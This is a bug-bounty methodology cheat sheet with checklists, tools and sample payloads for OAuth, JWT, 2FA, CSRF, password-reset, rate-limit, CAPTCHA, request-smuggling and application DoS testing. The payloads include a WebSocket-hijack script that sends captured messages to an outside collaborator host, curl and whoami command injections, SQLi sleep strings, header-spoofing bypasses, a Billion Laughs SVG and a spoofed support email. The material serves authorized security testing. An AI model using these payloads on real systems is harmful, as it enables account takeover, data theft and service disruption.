
Apps re-serve the same backend with extra exposure: hardcoded secrets, exported components, insecure WebViews and weak pinning.

๐Ÿ“‹ Android Checklist
๐Ÿ“‹ iOS Checklist
๐Ÿงฐ Tools
jadx
apktool
mobsf
frida
objection
adb
drozer
needle
bagbak
31

โ›“ Advanced Chaining & Escalation

ChecklistSignals

Chains turn medium bugs into criticals. The Signs framework: Open Redirect? (โ†’ paths / subdomains / domains) ยท Reflected user-controlled data? (โ†’ HTMLi / XSS / SSTI) ยท CSRF? (tokens not invalidated? โ†’ what can we do with this endpoint? is it an open redirect?) ยท Change HTTP verb? (works the same? are params rejected?).

๐Ÿ“‹ Chain Playbook
๐Ÿชž The Chaining Questions (Signs)
Chain checklist
1. Open Redirect?
   ~ Can you redirect to different paths?
   ~ Can you redirect to different subdomains?
   ~ Can you redirect to different domains?

2. Reflected user controlled data?
   ~ HTMLi?  ~ XSS?  ~ SSTI?

3. CSRF?
   (tokens not invalidated when sent or on logout)
   ~ What can we do with this endpoint?
   ~ Is this endpoint an open redirect?

4. Change HTTP Verb?
   ~ Does the endpoint work the same when the verb changes?
   ~ Are any parameters rejected?
๐Ÿงฐ Tools
interactsh
turbo intruder
custom scripts
32

๐Ÿงฉ HTTP Request Smuggling

MethodologyChecklist

Desync between front-end and back-end parsing (CL.TE / TE.CL / TE.TE) can poison caches, bypass access controls, and hijack requests. Detection flow (Burp):

  1. Right-click the FQDN โ†’ Smuggle Probe (Burp HTTP Request Smuggler extension).
  2. If found, open the Issue โ†’ Request 1 tab โ†’ select CL.TE or TE.CL. (Multiple directories? Expand and click the correct path.)
  3. Edit the prefix to meet payload requirements.
  4. Attack.
๐Ÿ“‹ Smuggling Checklist
๐Ÿงฐ Tools
burpsuite (HTTP Request Smuggler)
smuggler.py
h2csmuggler
33

๐Ÿฆ  Prototype Pollution

MethodologyChecklist

Pollute Object.prototype via __proto__[foo]=bar โ†’ XSS via gadget chains, or RCE via child_process.spawn on the server.

๐Ÿ“‹ Prototype Pollution Checklist
  1. Identify the vulnerability with a payload/scanner.
  2. Find vulnerable gadgets โ€” Fingerprint.js, Wappalyzer, BuiltWith. Check gadget list at gist.github.com/nikitastupin/b3b64a9f8c0eb74ce37626860193eaec.
  3. If no gadgets โ†’ check the Untrusted-Types plugin in DevTools console.
๐Ÿงฐ Tools
ppfuzz
server-side-prototype-pollution scanner
burpsuite
34

๐Ÿงช Insecure Deserialization

MethodologyChecklist

Serialized blobs from untrusted input โ†’ object injection โ†’ RCE. Detect language first, then attack the byte stream.

๐Ÿ•ณ Black-box approach
  1. Identify language + how it serializes: PHP O:4:"User":2:{...} ยท Java starts with ac ed (hex) / rO0 (base64) ยท Ruby (Marshal).
  2. Find serialized data controlled by user input (cookies, hidden fields, API bodies).
  3. Attack: โ‘  edit object directly in its byte-stream form โ‘ก script your own serializer in the app's language โ‘ข use a tool โ€” PHP โ†’ PHPGCC (./phpgcc [PAYLOAD] [PARAMS] | base64 -w 0), Java โ†’ ysoserial (URL-encode whole payload through cookie), Ruby โ†’ tbd.
๐Ÿ“– White-box approach
  1. Parse source for keywords: PHP serialize() / unserialize() ยท Java java.io.Serializable / readObject() / InputStream.
๐Ÿ“‹ Deserialization Checklist
๐Ÿงฐ Tools
ysoserial
ysoserial.net
phpgcc
jsonpickle
burpsuite
35

๐ŸŽญ OAuth & OpenID Connect

Methodology

OAuth flow: Authorization Request โ†’ User Consent โ†’ Authorization Code Grant โ†’ Access Token Request โ†’ Token Grant โ†’ API call โ†’ Resource grant. Hunting steps:

  1. Search traffic for client_id, redirect_uri, response_type, state.
  2. Hit known OAuth endpoints: /.well-known/oauth-authorization-server, /.well-known/openid-configuration.
  3. Identify grant type: Authorization Code (response_type=code) vs Implicit (response_type=token, common in SPAs).
  4. Abuse misconfigs: no state โ†’ CSRF (worst when linking accounts); steal code/token via redirect_uri; upgrade scope (register malicious app โ†’ victim approves limited scope โ†’ POST /token with expanded scope); sign up with victim's email โ†’ account takeover.
๐Ÿ“ก Authorization Code flow โ€” the requests (reference)
Auth request โ†’ callback โ†’ token request
# 1. Authorization Request (params: client_id / redirect_uri / response_type / scope / state)
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

# 2. User Consent

# 3. Authorization Code Grant (params: code / state)  โ†’ vulnerable to CSRF
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

# 4. Access Token Request (params: client_secret / grant_type / client_id / redirect_uri / code)
POST /token HTTP/1.1
Host: oauth-authorization-server.com
Content-Type: application/x-www-form-urlencoded

client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8

# 5. Access token grant โ†’ Bearer token
# 6. API call โ†’ Authorization: Bearer [TOKEN]
# 7. Resource grant โ†’ sensitive data
๐ŸŽฏ redirect_uri attack possibilities
Redirect_uri abuse ladder
1. Redirect to any domain
2. Redirect to any subdomain
3. Redirect to specific domains
4. One domain, all paths
5. One domain, specific paths
6. One domain, one path
7. Whitelisted domains/paths based on Regex
8. Can add parameters / specific params / none

# Step 1: send malicious url with poisoned redirect_uri
# Step 2: read code/token in response
# Step 3: substitute stolen code/token when logging in
# Note: if redirect_uri is echoed with the code/token, server likely NOT vulnerable
Steal token from hash fragment (PoC)
<script>
  if (document.location.hash){
    console.log("Hash identified -- redirecting...");
    window.location = '/?'+document.location.hash.substr(1);
  } else {
    console.log("No hash identified in URL");
  }
</script>
๐Ÿ†” OpenID Connect extra
OIDC checks
# id_token = JWT. Keys on /.well-known/jwks.json
# Config on /.well-known/openid-configuration
# response_type=id_token token | id_token code

# 1. Check for dynamic registration (auth required? Bearer token?)
# 2. Craft malicious registration payload for SSRF
๐Ÿงฐ Tools
oauthhammer
burpsuite
saml-raider
jwt_tool
36

๐Ÿ” WebSockets, CSWSH & Host Header Attacks

Methodology

WebSockets: messages are intercepted in Burp like HTTP. Manipulate the handshake to expand attack surface (clone/reconnect via the pencil icon), then hunt design flaws: misplaced trust in HTTP security headers, session handling flaws, expanded surface with custom headers. CSWSH: handshake has no CSRF/unpredictable token + session via cookie โ†’ hijack socket. Remember: Sec-WebSocket-Key does NOT authenticate.

CSWSH PoC
<script>
  websocket = new WebSocket('wss://your-websocket-URL')
  websocket.onopen = start
  websocket.onmessage = handleReply
  function start(event) { websocket.send("READY"); }
  function handleReply(event) {
    fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
  }
</script>
๐Ÿ“‹ Host Header testing flow
  1. Identify the app: supply an arbitrary domain in the Host header โ€” if it still loads, the server defaults to your target; else look at the "Invalid Host header" response / security controls / non-numeric port Host: vulnerable-website.com:bad-stuff-here.
  2. Duplicate Host headers, absolute URL in request line, spacing to bypass filters ( Host: bad-stuff-here), or combine with request smuggling.
  3. Try alternates: X-Forwarded-Host, X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded (guess more with Burp Param Miner).
  4. Exploit โ†’ Password Reset Poisoning: submit reset with Host = attacker domain โ†’ victim's reset link sends token to attacker's server โ†’ use stolen token. If you can't manipulate the reset link, try HTMLi in the email to add your own domain.
Host header test payloads
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

GET /example HTTP/1.1
 Host: bad-stuff-here
Host: vulnerable-website.com

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here
๐Ÿงฐ Tools
burpsuite (Param Miner)
burpsuite Repeater
37

๐Ÿ‘ป Subdomain Takeover

AutomationNotes

Subdomain points to an external service (GitHub Pages, Heroku, S3) that's no longer claimed โ†’ hijack it. Check CNAMEs pointing to defunct hosts; verify candidates with the can-i-take-over-xyz fingerprints.

Subzy automated takeover check
subzy run --targets subdomains.txt --concurrency 100 --hide_fails --verify_ssl
๐Ÿ” Why subzy works
Tests multiple service providers
Verifies SSL certificates
High concurrency for speed
Hides failed attempts (less noise)
๐Ÿ”— Resources
SubOver
nuclei
38

โ“ The Hunter's Questions

Signals

Ask these before sending a single payload. Answers tell you what's likely broken.

๐Ÿ—„ Ask yourself โ€” about the APPLICATION
๐Ÿ–ฅ Ask yourself โ€” about the SERVER
๐Ÿ“„ Ask yourself โ€” for EVERY PAGE
๐Ÿ’ก Pro tip
Recommended methodology: build a custom Python script that searches GitHub and returns searches with at least 1 result. Custom wordlists per target from technologies discovered; use job postings to identify the tech stack; check "Languages for scripting languages"; confirm the repo belongs to the company; use the NOT keyword to remove noise; hunt users working at the org but not mapped to the main repo (LinkedIn confirm) โ€” most important for manual work. Find unlisted org users with searches like "[ORG]" dotfiles and "[ORG]" language:python language:bash.
39

๐Ÿ—บ Vulnerability Testing Matrix

Signals

Which tool for which bug โ€” the master cheat-sheet.

VulnerabilityMethod / Tool
Account TakeoverBurp (manual)
Code InjectionBurp (scans / manual)
HTML InjectionCustom Script / Burp (scans / manual)
IDORBurp (manual)
Information DisclosureCustom Script (github_brute-dork) / Manual Search
Prototype PollutionCustom Script (Drifting_Embers) / DevTools (manual)
RCENuclei (known CVE) / Burp (manual)
SSRFBurp (manual)
XSSCustom Script / Burp (scans / manual)
SSTICustom Script / Burp (scans)
CSRFBurp (manual)
OAuthBurp (manual)
DeserializationBurp (manual / scans) + Source Code Analysis
HTTP Request SmugglingBurp (scans)
WebSocketsBurp (manual)
HTTP Host HeaderBurp (manual)
โš™๏ธ Recon Automation (from the notes)
1Build custom scripts: kindling.py (cron 6hrs), fire_starter.py (24hrs), firewood.py (1wk).
2Additional ports on kindling.py (httprobe) โ€” done. Valuable data on dashboard โ€” done.
3Cloud ranges module โ€” done. Custom wordlist module โ€” done.
4Application / server info modules, fix Subdomainizer module โ€” TODO.
40

๐Ÿ’ฐ Methodology & Bounty Charts

Platform

The priced playbook tells you exactly what's worth your time. Automation loop: find vuln (nuclei) โ†’ pull analytics (already reported?) โ†’ POST report via API โ†’ screenshot (imagemagick) โ†’ PUT attach โ†’ POST submit. Target types: Wide-scope w/ subdomains = wait for them to come to you, move quick on New/Updated. Large app w/ creds = go find bugs, slow + methodical + manual.

๐Ÿ“‹ Enumeration (prices)
CategoryType$
Exposed Admin EndpointAdmin Functions Write$800
Exposed Admin EndpointAdmin Functions Read$600
Info DisclosureDirectory contents disclosed$150
Info DisclosureDirectory structure enumeration$170
Info DisclosureIdentity of network topology$150
Info DisclosureIdentity of software architecture$150
Info DisclosureLeaked creds โ€” high privilege$700
Info DisclosureLeaked creds โ€” low privilege$250
Info DisclosureLeaked API keys$500
Info DisclosureSensitive client information (compliance/privacy)$300
Info DisclosureSensitive directory/file contents$300
Info DisclosureSensitive source code$150
๐Ÿ“‹ Scanning โ€” Client-side
CategoryType$
Reflected InputSpoof HTML content$200
Reflected InputReflected XSS (+ web cache poisoning = $$$)$330
Reflected InputCSS Injection$330
Reflected InputDOM-based XSS$775
CSRFHigh / Low$500 / $400
๐Ÿ“‹ Scanning โ€” Server-side
CategoryType$
External Service InteractionSSRF Full (interaction w/ internal app)$1500
External Service InteractionSSRF Limited (interaction w/ internal IP/port)$500
Input ValidationBypass client-side validations (persistent)$150
File UploadUnrestricted file upload$180
SQL InjectionFull (must show database info)$3000
SQL InjectionPartial$1500
File InclusionLFI / Path Traversal$850
CLRF InjectionCRLF$300
Host Header InjectionOpen mail relay (arbitrary external email)$400
Blind XSSBlind XSS$880
XXELimited / Full$500 / $1500
๐Ÿ“‹ Manual Routine
CategoryType$
Account EnumerationUsername enumeration$150
Default CredentialsAdmin$700
Default CredentialsNon-admin$250
Session FixationSession fixation$100
Captcha BypassCaptcha bypass$200
AWS MisconfigsS3 bucket plundering$450
Dependency ConfusionPackage confusion$750
๐Ÿ“‹ Manual Creative
CategoryType$
Access ControlAdmin โ€” Read/Write or Write only$800
Access ControlAdmin โ€” Read only$600
Access ControlNon-admin โ€” R/W or Write (modify/delete other user's data)$450
Access ControlNon-admin โ€” Read only (access other user's data)$300
IDORRead only / Read & Write$500 / $600
AuthenticationLogin auth bypass$850
Authentication2FA/MFA auth bypass$500
AuthenticationSSO auth bypass$750
41

๐Ÿ“ Finding Documentation & Report Builder

SignalsFramework

A clean, reproducible report is half the payout. Fill the template โ†’ Copy โ†’ paste into the platform. Check for duplicates first!

๐Ÿ“‹ Report Quality Checklist
โœ๏ธ Report Builder
๐Ÿท Tags for a professional writeup
Vuln type
CRUD / exploited function
Technical skill required
Vuln discovery automation
Takeaways 1/2/3
๐Ÿงฐ Report tools
HackerOne
Bugcrowd
Intigriti
report-creator
42

๐Ÿ—บ๏ธ OSINT, Recon & Attack Surface Mapping Playbook 2026

PlaybookOSINT

From the OSINT, Reconnaissance & Attack Surface Mapping playbook. Attack surface = the sum of every entry point, grown horizontally (more hosts/subdomains) and vertically (deeper detail per host). Budget 60โ€“70% of engagement time on recon โ€” that's where most bounties are found.

๐Ÿงญ Foundation โ€” Expansion Strategies
HHorizontal expansion โ€” more surface: subdomain brute-force, cert transparency, DNS crawling, cloud bucket discovery, GitHub leaks.
VVertical deepening โ€” more detail: per-host port scanning, tech fingerprinting, JS/API/param mining, deeper content discovery.
โšกRecon = high ROI โ€” 60โ€“70% of your time on recon; every new host re-opens the whole vuln checklist.
๐Ÿ“‹ Attack Surface Mapping Checklist
๐ŸŒ Passive Recon โ€” Toolkit
Subdomain discovery โ€” subfinder / amass / bbot / findomain
subfinder -d example.com -all -o subs.txt
amass enum -d example.com -passive
bbot -t example.com -p subdomain-enum -o /tmp/scan
findomain -t example.com -q
Certificate Transparency (crt.sh)
curl "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
GitHub / GitLab dorking for leaks
org:"Company Name" filename:.env
org:"Company Name" "api_key" OR "internal" OR "password"
user:target_employee filename:config
gh search code --query="org:examplecorp api_key"
ASN / WHOIS / org mapping
amass intel -org "Company Name"
whois example.com
whois -h whois.radb.net -- "-i origin AS13335"
๐Ÿ–ผ๏ธ Favicon Hashing โ€” pivot to related hosts
Hash a favicon and search it on Shodan / ZoomEye
python3 -c "import mmh3,codecs; print(mmh3.hash(codecs.encode(open('favicon.ico','rb').read(),'base64')))"
# Shodan:  http.favicon.hash:[YOUR_HASH]
# ZoomEye: icon_hash:[YOUR_HASH]
๐Ÿš€ Active Enumeration โ€” DNS, Ports & HTTP
High-volume DNS brute + mass resolve (PureDNS)
puredns bruteforce wordlist.txt example.com -r resolvers.txt --wildcard-tests 50 -o resolved.txt
puredns resolve subs.txt -r resolvers.txt
dnsx -l resolved.txt -resp
Fast port scan (naabu)
naabu -l hosts.txt -p 80,443,8000,8080,8443,3000,4000,5000,6000,9000,3306,5432,6379,27017 -o ports.txt
naabu -l hosts.txt -top-ports 1000 -o all_ports.txt
HTTP probing + tech fingerprinting
httpx -l hosts.txt -status-code -title -tech-detect -follow-redirects -o alive.txt
gowitness scan file -f alive.txt --screenshot-path shots/
Cloud storage enumeration
python3 cloud_enum.py -k example -k corp -k internal
python3 GCPBucketBrute.py -k examplecorp -l wordlist.txt
aws s3 ls s3://bucket-name/ --region us-east-1 --no-sign-request
๐Ÿ”ฌ Deep Recon โ€” JS, Params, Content & APIs
JS analysis โ€” endpoints, secrets, API routes
# tools: JSpector, JS Miner, JS Link Finder, LinkFinder
grep -r "fetch(\|axios\.\|api/" *.js | grep -oP '(https?:)?//[^\s"'\''`]+' | sort -u
grep -rE "(api[_-]?key|secret|token|password|aws_|AKIA)" *.js
Parameter discovery
paramspider.py -d example.com --stream -o params.txt
arjun -u https://example.com -o found_params.txt
# Burp extension: Param Miner
Directory / content fuzzing + API surface
ffuf -w dirs.txt -u https://example.com/FUZZ -ac -mc 200,201,204,301,302,307,401,403,405,500
httpx -l subs.txt -path /api/ -status-code
ffuf -w api-paths.txt -u https://example.com/FUZZ -mc 200
Subdomain takeover checks
subzy run --targets alive.txt
# reference: https://github.com/EdOverflow/can-i-take-over-xyz
๐Ÿค– Automation โ€” BBOT & Nuclei Pipelines
BBOT โ€” full modular recon run
bbot --install-all-deps   # first time only
bbot -t example.com -f subdomain-enum cloud-enum web-thorough email-enum -o /tmp/scan --web --httpx
bbot -t example.com --present --verbose
# results load into Neo4j for graph queries
Nuclei โ€” automated vuln scanning on live hosts
nuclei -update-templates
nuclei -l alive.txt -t cves,misconfiguration,exposure,default-logins -o vulns.txt -stats
nuclei -l alive.txt -tags sqli,xss,rce,ssrf -severity high,critical -o critical.txt
One-liner pipeline โ€” subs โ†’ live โ†’ vulns
subfinder -d example.com -all | httpx -silent -status-code | nuclei -t cves,exposure -silent
๐Ÿ›ฐ๏ธ Threat Intel โ€” Shodan / Censys / ZoomEye / Netlas
Shodan search queries
org:"Company Name" port:80,443,8080
ssl.cert.subject.cn:example.com
http.favicon.hash:[HASH]
hostname:*.example.com
http.title:"Dashboard" org:"Company Name"
http.html:"api" http.title:"Swagger UI"
PlatformStrengths
ShodanBest default; huge HTTP exposure index, favicon + SSL search
CensysFull IPv4 scan data, deep TLS + protocol fingerprints
ZoomEyeStrong for non-HTTP services + international infrastructure
NetlasDNS + HTTP focus, good API for automation
๐Ÿ—ƒ๏ธ Organize & Prioritize Results
  • Consolidate โ€” merge every subdomain list and dedupe: cat *.txt | sort -u > all_subs.txt
  • Re-validate โ€” filter to live hosts only (puredns / dnsx + httpx) before scanning anything
  • Prioritize by risk โ€” admin/dashboard portals, dev & staging hosts, API subdomains, exposed DB panels, takeover-eligible CNAMEs, auth-bypass surface
  • Track per target โ€” keep a folder per host: notes/ screenshots/ requests/ findings/
  • ๐Ÿ•ถ๏ธ Detection Evasion & OPSEC
    WAF detection + gentler scanning
    wafw00f https://example.com
    ffuf -w wordlist.txt -u https://example.com/FUZZ -rate 50 -p 0.1-0.2
    httpx -l hosts.txt -c 10 -timeout 10
    # rotate resolvers + user-agents to avoid DNS/HTTP fingerprinting
    ๐Ÿงฐ 2026 Toolchain Summary
    PhaseTools
    Subdomain enumsubfinder ยท amass ยท bbot ยท findomain
    Resolutionpuredns ยท shuffledns ยท dnsx ยท massdns
    Port scannaabu ยท rustscan ยท masscan
    HTTP probinghttpx ยท wappalyzer ยท gowitness
    Content fuzzingffuf ยท feroxbuster ยท gobuster
    ParametersParamSpider ยท arjun ยท Param Miner
    JS secretsJSpector ยท JS Miner ยท JS Link Finder ยท LinkFinder
    Cloud enumcloud_enum ยท GCPBucketBrute ยท aws cli
    Takeover checksubzy ยท can-i-take-over-xyz
    Auto vuln scannuclei ยท bbot
    Passive intelShodan ยท Censys ยท ZoomEye ยท Netlas ยท SecurityTrails
    ๐Ÿ—“๏ธ Playbook Workflow โ€” Days 1โ€“4
    1Day 1 โ€” Passive: subfinder + amass + bbot + crt.sh + GitHub dorks + Shodan/Censys โ†’ build the master subdomain & asset lists
    2Day 2 โ€” Active: puredns brute/resolve, naabu port scan, httpx alive + tech-detect, cloud_enum bucket discovery
    3Day 3 โ€” Deep: JS mining, param fuzzing, ffuf content discovery, API / Swagger enum, gowitness screenshots
    4Day 4 โ€” Hunt: nuclei on live hosts, manual testing of high-risk assets, subzy takeover checks, log everything per target
    ๐Ÿค– Advanced Trends & Ethics
  • AI-assisted OSINT โ€” LLM agents for report triage, JS/param correlation and dork generation; verify every finding manually
  • Agentic recon โ€” tools that chain and retry themselves (BBOT workflows, auto-recon runners); load output into a graph (Neo4j) for cross-host correlation
  • Multicloud surface โ€” enumerate AWS / GCP / Azure buckets & managed services for the whole org, not just the root domain
  • Stay legal โ€” only authorized targets, respect program scope, rate limits and disclosure rules; record your permission scope in notes
  • 43

    ๐Ÿ” Testing 2 Factor Authentication

    PlaybooksAuthentication

    Full 2FA bypass checklist. Attack both the verification flow (response/status manipulation, OTP reuse) and the lifecycle (enabling/disabling 2FA, backup codes, session handling).

    ๐Ÿ“‹ 2FA Bypass Checklist
    ๐Ÿ“จ Backup codes after login
    Generate backup codes for the victim
    POST /api/enable-2fa HTTP/1.1
    Host: target.com
    ...
    
    {"action":"backup_codes","email":"victim@gmail.com"}
    ๐ŸŽฒ OTP bypass via JSON array
    Array of candidate codes
    {
        "code":[
            "1000",
            "1001",
            "1002",
            ...
            "9999"
        ]
    }
    ๐Ÿงฐ References & tools
    youst.in โ€” bypassing 2FA via OpenID misconfiguration
    c0d3g33k.blogspot.com โ€” backup code request PoC
    2FA bypass notes
    44

    ๐Ÿงฉ Captcha Bypass

    Playbooks

    Bypass techniques for CAPTCHA-gated actions (login, register, OTP). Treat the captcha as just another parameter the backend may not actually verify.

    ๐Ÿ“‹ Captcha Bypass Checklist
    ๐Ÿ›ฐ Spoofing headers
    Try these to get treated as an internal/IPv6 client
    X-Forwarded-Host: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Originating-IP: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Client-IP: 127.0.0.1
    X-Host: 127.0.0.1
    45

    ๐Ÿ›ก๏ธ Bypassing CSRF Protection

    PlaybooksCSRF

    CSRF-defense bypass checklist โ€” the deeper, token-level counterpart to the general CSRF phase. Pairs with the Referrer regex bypass and type juggling tricks below.

    ๐Ÿ“‹ CSRF Bypass Checklist
    ๐Ÿ”„ Method override (PUT/DELETE via POST)
    Forces routing through CSRF-protected POST handler
    POST /profile/update HTTP/1.1
    Host: example.com
    ...
    
    _method=PUT
    ๐Ÿ™… Referrer suppression & regex bypass
    Add to PoC page + referrer regex bypass payloads
    <meta name="referrer" content="never">
    
    https://attacker.com?target.com
    https://attacker.com;target.com
    https://attacker.com/target.com/../targetPATH
    https://target.com.attacker.com
    https://attackertarget.com
    https://target.com@attacker.com
    https://attacker.com#target.com
    https://attacker.com\.target.com
    https://attacker.com/.target.com
    ๐Ÿงฐ References
    book.hacktricks.xyz โ€” CSRF
    CSRF bypass notes
    46

    ๐Ÿ”‘ Testing Password Reset Functionality

    PlaybooksAccount Takeover

    Account-takeover hunting through the password reset flow โ€” token handling, host manipulation, parameter pollution, crypto and logic flaws.

    ๐Ÿ“‹ Password Reset Checklist
    ๐ŸŒŠ HTTP Parameter Pollution
    Try to get the reset link to attacker's inbox
    email=victim@gmail.com&email=attacker@gmail.com
    email[]=victim@gmail.com&email[]=attacker@gmail.com
    email=victim@gmail.com%20email=attacker@gmail.com
    email=victim@gmail.com|email=attacker@gmail.com
    {"email":"victim@gmail.com","email":"attacker@gmail.com"}
    {"email":["victim@gmail.com","attacker@gmail.com"]}
    ๐ŸŒ Host manipulation + injection payloads
    Reset-link URL tricks + SQLi / CRLF / RCE
    POST https://attacker.com/resetpassword.php HTTP/1.1
    POST @attacker.com/resetpassword.php HTTP/1.1
    POST :@attacker.com/resetpassword.php HTTP/1.1
    POST /resetpassword.php@attacker.com HTTP/1.1
    
    # SQLi in email
    test@test.com'+(select*from(select(sleep(2)))a)+'
    
    # CRLF host header injection
    /resetpassword?%0d%0aHost:%20attacker.com
    
    # Command injection in email
    email=hello@`whoami`.xyz.burpcollaborator.net
    47

    ๐Ÿšฆ Bypassing Rate Limit Protection

    Playbooks

    Rate-limit bypass for brute-force and email-bomb scenarios โ€” IP spoofing, body/method mutation and the classic 127.0.0.2 trick.

    ๐Ÿ“‹ Rate Limit Bypass Checklist
    ๐Ÿ›ฐ Header spoofing
    Standard + double-header bypass
    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Client-IP: 127.0.0.1
    X-Host: 127.0.0.1
    X-Forwared-Host: 127.0.0.1
    
    # double header
    X-Forwarded-For:
    X-Forwarded-For: 127.0.0.1
    ๐ŸŽฒ Random parameter added
    Sometimes the limiter keys on exact request shape
    POST /forgot-password?fake=1 HTTP/1.1
    Host: target.com
    ...
    
    email=victim@gmail.com&alsofake=2
    48

    ๐ŸŽซ JWT Misconfiguration

    Playbooks

    JWT attack checklist: signature verification gaps, algorithm confusion and the vulnerable kid parameter (URL / file / command injection / SQLi).

    ๐Ÿ“‹ JWT Misconfiguration Checklist
    ๐Ÿ”‘ Generate your own RSA key for HS256 swap
    Then host the public key and set kid to it
    ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
    openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
    ๐ŸŽฏ kid attack variants
    URL / path traversal / command injection / SQLi
    "kid":"http://localhost/key.pem"  โ†’  "kid":"http://xyz.ngrok.io/jwtRS256.key"
    
    # publicly accessible file to verify the token
    "kid":"app/secret.pem"  โ†’  "kid":"../../public/main.css"
    
    # command injection
    "kid":"app/secret.pem && curl http://bing.com &"
    
    # SQLi
    "kid":"hello UNION SELECT 'key';--"
    ๐Ÿค– Automation & lab
    jwt_tool โ€” automated attacks
    git clone https://github.com/ticarpi/jwt_tool
    cd jwt_tool
    pip3 install -r requirements.txt
    python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/profile" -rh "Authorization: Bearer <JWT Token>"
    Lab: jwt-lab.herokuapp.com/challenges
    book.hacktricks.xyz โ€” JWT
    KathanP19/HowToHunt โ€” JWT
    49

    ๐Ÿ”— OAuth Misconfiguration

    PlaybooksOAuth

    OAuth attack checklist โ€” complements the general OAuth & OpenID phase with the redirect_uri / state / email-parameter tricks below.

    ๐Ÿ“‹ OAuth Misconfiguration Checklist
    ๐Ÿ›ฐ Referer change during OAuth
    Some flows trust the Referer header
    GET /oauth/token/google HTTP/1.1
    Host: target.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    ...
    Referer: https://evil.com
    ๐Ÿงฟ Lack of origin check โ€” PoC page
    postMessage listener without origin validation
    <script>
      function listener(event) {
        alert(JSON.stringify(event.data));
      }
    
      var dest = window.open("https://target.com/social-login/redirect/google");
    
      window.addEventListener("message", listener);
    </script>
    ๐Ÿงฐ References
    salt.security โ€” OAuth account takeover
    portswigger.net โ€” OAuth web security
    50

    ๐ŸŽง Abusing Support Portal

    PlaybooksAccount Takeover

    Help-desk exploitation: spoofed email-change requests, @target.com accounts and the ticket system as an email-reading primitive for account takeover.

    ๐Ÿ“‹ Support Portal Checklist
    ๐Ÿ“ง Email-change request (spoofed)
    If the mailbox doesn't filter spoofed From properly
    From: victim70@gmail.com
    Reply To: victim71@gmail.com
    To: support@target.com
    Subject: Change my E-mail address
    Message:
    Hello,
     My real email address is victim71@gmail.com. I mistakenly entered
     wrong email id (victim70@gmail.com) which I don't use anymore. So I
     kindly request you to change my email address from victim70@gmail.com
     to victim71@gmail.com.
    
    Thanks & Regards
    Victim
    ๐ŸŽฏ Twitter takeover via support ticket
    Read password-reset emails addressed to the company inbox
    1. Create an account on target.com with verify@twitter.com
       (if email verification is not enforced).
    2. Request a password reset for the email support@target.com.
    3. An email from verify@twitter.com is sent to support@target.com
       containing the code.
    4. A support ticket is created with the email body โ€” view it
       on the support portal to get the reset code.
    ๐Ÿงฐ References
    intigriti โ€” hacking hundreds of helpdesks
    alex.birsan โ€” Google Buganizer $15,600
    hackerone.com/reports/498964
    51

    ๐Ÿ’ฅ Application-Level DoS

    PlaybooksDoS

    Application-level (not volumetric) DoS โ€” expensive parsing, missing limits and provider-level email abuse. Always scope-compliant & gentle: prefer time-based proof.

    ๐Ÿ“‹ App DoS Checklist
    ๐Ÿงจ Billion Laughs (SVG upload)
    Exponential entity expansion in SVG
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <svg>
    <lolz>&lol9;</lolz>
    </svg>
    ๐Ÿšซ Apache byte-range header (abbreviated)
    Many overlapping Range headers exhaust memory
    Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,...5-199,5-200,...
    ๐Ÿชค Referer-cookie WAF self-DoS
    WAF stores referrer in a cookie โ†’ victim blocked on every request
    1. Create https://attacker.com/page.html which redirects to target.com.
    2. Send victim: https://attacker.com/page.html?%22%3E%3Cscript%3Ealert(1)%3C/script%3E
    3. Victim gets redirected to target.com but a cookie is set:
       referrer=https%3A%2F%2Fattacker.com%2Fpage.html?%22%3E%3Cscript%3Ealert(1)%3C/script%3E
    4. WAF now blocks the victim because of the XSS payload in the cookie.
    ๐Ÿงฐ Payload files (repo)
    payloads/password.txt
    payloads/lottapixel.jpg
    payloads/uber.gif
    payloads/bllionlaugh.svg
    payloads/apachedos.txt
    52

    ๐Ÿงญ Recon Workflow Pipeline

    PlaybooksRecon

